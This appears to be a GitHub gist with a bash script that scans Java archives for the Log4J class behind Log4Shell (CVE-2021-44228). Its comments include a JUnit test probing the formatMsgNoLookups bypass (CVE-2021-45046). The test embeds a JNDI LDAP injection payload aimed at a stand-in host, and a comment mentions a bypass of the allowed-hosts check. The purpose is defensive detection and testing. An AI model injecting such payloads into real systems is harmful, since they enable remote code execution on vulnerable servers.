Skip to content

Instantly share code, notes, and snippets.

@righettod
Last active January 17, 2022 12:01
Show Gist options
  • Save righettod/ce1570954242de2f8772c6f25eece77d to your computer and use it in GitHub Desktop.
Save righettod/ce1570954242de2f8772c6f25eece77d to your computer and use it in GitHub Desktop.
Script to identify Log4J affected class for CVE-2021-44228 in a collection of ear/war/jar files
#!/bin/bash
#########################################################################################################
# Script to identify Log4J affected class for CVE-2021-44228 in a collection of EAR/WAR/JAR files
# Based on this script:
# https://github.com/righettod/toolbox-pentest-web/blob/master/scripts/identify-class-location.sh
#########################################################################################################
if [ "$#" -lt 1 ]; then
script_name=$(basename "$0")
echo "Usage:"
echo " $script_name [BASE_SEARCH_FOLDER]"
echo ""
echo "Call example:"
echo " $script_name /apps"
exit 1
fi
# Constants
JAR_FOUND=0
TARGET_CLASS_NAME="org/apache/logging/log4j/core/lookup/JndiLookup.class"
APP_LIBS_FOLDER=$1
WORK_FOLDER=/tmp/work
JAR_WORK_FOLDER=/tmp/jarwork
NESTED_JAR_WORK_FOLDER=/tmp/nestedjarwork
CDIR=$(pwd)
# See https://unix.stackexchange.com/a/9499
OIFS="$IFS"
IFS=$'\n'
# Utility functions
inspect_folder (){
folder_location=$1
for jar_lib in $(find "$folder_location" -type f -iname "*.jar")
do
inspect_jar_file "$jar_lib"
done
}
inspect_jar_file(){
jar_file_location=$1
find=$(unzip -l "$jar_file_location" | grep -c "$TARGET_CLASS_NAME")
if [ $find -ne 0 ]
then
JAR_FOUND=1
echo ""
echo -e "\e[91m[!] Class found in the file '$jar_file_location'.\e[0m"
echo -e "\e[93m[+] Try to find the Maven artefact version...\e[0m"
rm -rf "$JAR_WORK_FOLDER" 2>/dev/null
mkdir "$JAR_WORK_FOLDER"
unzip -q -d "$JAR_WORK_FOLDER" "$jar_file_location"
chmod -R +r "$JAR_WORK_FOLDER"
cd $JAR_WORK_FOLDER
for f in $(grep -r "groupId\s*=\s*org.apache.logging.log4j" *)
do
file_loc=$(echo $f | cut -d":" -f1)
artefact_version=$(grep -Po "version\s*=\s*.*" "$file_loc" | sed 's/version=//g')
echo "File : $jar_file_location"
echo "Metadata file : $file_loc"
echo "Log4J version : $artefact_version"
done
cd $CDIR
rm -rf $JAR_WORK_FOLDER 2>/dev/null
fi
# Handle nested jar case
has_nested_jar=$(unzip -l "$jar_file_location" | grep "\.jar$" | grep -cv "Archive:")
if [ $has_nested_jar -ne 0 ]
then
nestedjar_lib_name="$(basename "$jar_file_location")_$RANDOM"
mkdir -p "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name"
unzip -q -d "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" "$jar_file_location"
chmod -R +r "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name"
inspect_folder "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name"
fi
}
echo -e "\e[93m[+] Searching class '$TARGET_CLASS_NAME' across '$APP_LIBS_FOLDER' folder...\e[0m"
for lib in $(find "$APP_LIBS_FOLDER" -type f -iname "*.jar" -o -iname "*.war" -o -iname "*.ear")
do
filename=$(basename "$lib")
filename="$filename"
extension="${filename##*.}"
printf "\r[*] Inspecting file: %-80s" $filename
if [ $extension == "ear" ]
then
rm -rf $WORK_FOLDER 2>/dev/null
mkdir $WORK_FOLDER
unzip -q -d $WORK_FOLDER "$lib"
chmod -R +r $WORK_FOLDER
for war_lib in $(find $WORK_FOLDER -type f -iname "*.war")
do
war_lib_name="$(basename "$war_lib")_$RANDOM"
war_lib_folder="$WORK_FOLDER/$war_lib_name"
mkdir "$war_lib_folder"
unzip -q -d "$war_lib_folder" "$war_lib"
chmod -R +r "$war_lib_folder"
done
inspect_folder "$WORK_FOLDER"
rm -rf "$WORK_FOLDER" 2>/dev/null
fi
if [ $extension == "war" ]
then
rm -rf $WORK_FOLDER 2>/dev/null
war_lib_name="$(basename "$lib")_$RANDOM"
war_lib_folder=$WORK_FOLDER/$war_lib_name
mkdir -p "$war_lib_folder"
unzip -q -d "$war_lib_folder" "$lib"
chmod -R +r "$war_lib_folder"
inspect_folder "$WORK_FOLDER"
rm -rf $WORK_FOLDER 2>/dev/null
fi
if [ $extension == "jar" ]
then
inspect_jar_file "$lib"
fi
done
printf "\r%-100s" " "
if [ $JAR_FOUND -eq 0 ]
then
echo -e "\r\e[92m[V] Inspection finished - Class not found!\e[0m\n"
else
echo -ne "\r\e[91m[!] Inspection finished - Class found!\e[0m\n"
fi
IFS="$OIFS"
rm -rf "$NESTED_JAR_WORK_FOLDER" 2>/dev/null
exit $JAR_FOUND
@tbird5
Copy link

tbird5 commented Dec 16, 2021

This is a good method. But, some issues:
It doesn't work on paths with spaces.
It doesn't work on jars nested inside jars. It needs to recursively un-jar. It's not as common to have jars in jars, but can occur, and can be used with a custom ClassLoader.
Unzip can leave file permissions as unreadable by you. Do a chmod +r after unzip.

@righettod
Copy link
Author

righettod commented Dec 16, 2021

Note about formatMsgNoLookups bypass

ℹ️ This bypass was bring by the CVE-2021-45046.

Below is a POC from LunaSecIO showing the vulnerability and its exploitation context:

image

Source: https://twitter.com/LunaSecIO/status/1470871128843251716

A unit tests suite was created and used to perform some tests for the bypass of log4j2.formatMsgNoLookups=true:

package eu.righettod;

import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;
import org.apache.logging.log4j.core.appender.ConsoleAppender;
import org.apache.logging.log4j.core.config.Configurator;
import org.apache.logging.log4j.core.config.builder.api.AppenderComponentBuilder;
import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilder;
import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilderFactory;
import org.apache.logging.log4j.core.config.builder.api.RootLoggerComponentBuilder;
import org.apache.logging.log4j.core.config.builder.impl.BuiltConfiguration;
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;

import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.concurrent.TimeUnit;

/**
 * Test suite to ensure that the current version used of log4j-core is not exposed to log4shell vulnerability for CVE-2021-44228
 * with the "log4j2.formatMsgNoLookups=true" bypass.
 *
 * @see "https://www.studytonight.com/post/log4j2-programmatic-configuration-in-java-class"
 * @see "https://docs.oracle.com/javase/7/docs/technotes/guides/net/properties.html"
 */
public class Log4ShellExposureTestFormatMsgNoLookupsBypass {

    private static final String TEST_PAYLOAD = "${jndi:ldap://donotexists.com/test}";
    private static final String TEST_FAILED_MARKER = "Error looking up JNDI resource";
    private Logger victim;
    private final ByteArrayOutputStream captureStream = new ByteArrayOutputStream();
    private final PrintStream currentSystemOut = System.out;
    private final PrintStream currentSystemErr = System.err;

    @Before
    public void testSuiteSetup() throws Exception {
        //Capture SystemOut and SystemErr
        PrintStream ps = new PrintStream(captureStream);
        System.setOut(ps);
        System.setErr(ps);
        //Set a SOCK nonexistent proxy to prevent any data to be sent out or any call to exit the network
        System.setProperty("proxySet", "true");
        System.setProperty("socksProxyHost", "10.10.10.10");
        System.setProperty("socksProxyPort", "1111");
        //Set a quick socket timeout to speed up the test
        System.setProperty("sun.net.client.defaultConnectTimeout", "2000");
        System.setProperty("sun.net.client.defaultReadTimeout", "2000");
        //Setup the logger
        ConfigurationBuilder<BuiltConfiguration> builder = ConfigurationBuilderFactory.newConfigurationBuilder();
        builder.setStatusLevel(Level.INFO);
        builder.setConfigurationName("DefaultLogger");
        AppenderComponentBuilder appenderBuilder = builder.newAppender("Console", "CONSOLE");
        appenderBuilder.addAttribute("target", ConsoleAppender.Target.SYSTEM_OUT);
        appenderBuilder.add(builder.newLayout("PatternLayout").addAttribute("pattern", "${ctx:InsecureVariable} - %m%n"));
        RootLoggerComponentBuilder rootLogger = builder.newRootLogger(Level.INFO);
        rootLogger.add(builder.newAppenderRef("Console"));
        builder.add(appenderBuilder);
        builder.add(rootLogger);
        //Configurator.reconfigure(builder.build());
        //Use this method is reconfigure(() do not exists in the log4j2 tested version
        Configurator.initialize(builder.build());
        //Enable the security flag
        System.setProperty("log4j2.formatMsgNoLookups", "true");
        //Setup the logger used
        victim = LogManager.getRootLogger();
        //Display execution context
        System.out.printf("LOG4J2 version: %s\n", victim.getClass().getPackage().getImplementationVersion());
        System.out.printf("Java version  : %s\n", System.getProperty("java.version"));
    }

    @After
    public void testSuiteFinalize() throws Exception {
        //Reset SystemOut and SystemErr to original ones
        System.setOut(currentSystemOut);
        System.setErr(currentSystemErr);
        //Remove the SOCK proxy
        System.getProperties().remove("proxySet");
        System.getProperties().remove("socksProxyHost");
        System.getProperties().remove("socksProxyPort");
        //Remove socket timeout
        System.getProperties().remove("sun.net.client.defaultConnectTimeout");
        System.getProperties().remove("sun.net.client.defaultReadTimeout");
    }

    @Test
    public void testExposure() throws Exception {
        //Ensure that the security flag is enabled
        Assert.assertNotNull("Flag 'log4j2.formatMsgNoLookups' must be set!", System.getProperty("log4j2.formatMsgNoLookups"));
        Assert.assertTrue("Flag 'log4j2.formatMsgNoLookups' must be enabled!", Boolean.parseBoolean(System.getProperty("log4j2.formatMsgNoLookups")));
        //Log the payload
        ThreadContext.put("InsecureVariable", TEST_PAYLOAD);
        victim.info("Triggering...");
        //Let's time to logger to write the content to the appender and any JNDI lookup to be attempted
        TimeUnit.SECONDS.sleep(10);
        //Check if any JNDI lookup tentative was performed
        String out = captureStream.toString(StandardCharsets.UTF_8);
        //Save the output for ease debugging operations
        Files.deleteIfExists(Paths.get("target", "Log4ShellExposureTestMsgNoLookupsBypass.out"));
        Files.writeString(Paths.get("target", "Log4ShellExposureTestMsgNoLookupsBypass.out"), out, StandardCharsets.UTF_8, StandardOpenOption.CREATE);
        //Apply assertion using the JNDI lookup marker
        Assert.assertFalse("JNDI lookup tentative identified, see target/Log4ShellExposureTestMsgNoLookupsBypass.out file for details.", out.contains(TEST_FAILED_MARKER));
    }
}

Version 2.14.1 seems to be exposed to the bypass:

image

Version 2.15.0 do not seems to be exposed to the bypass:

image

Note that a usage of the printf() function, like for example victim.printf(Level.INFO,"%s",TEST_PAYLOAD), have the same effect that using the ThreadContext combined with a expression in the log pattern:

image

image

On version 2.15.0 - By default:

  • JNDI with DNS protocol is not allowed:

image

  • JNDI with LDAP(S) protocol require defining allowed hosts:

image

Regarding LDAP(S), a bypass of the validation against allowed hosts was identified: https://twitter.com/pwntester/status/1471465662975561734

@righettod
Copy link
Author

@tbird5 Thank you very much for the feedback I will work on it to address the issues raised 👍

@righettod
Copy link
Author

@tbird5 New version published with the issues mentioned normally fixed (at least using my test cases) 👍

@righettod
Copy link
Author

⚠️ ⚠️ ⚠️

From now I will manage the script and the analysis content here.

It will facilitate the issue handling, sharing, publishing and backup of the content.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment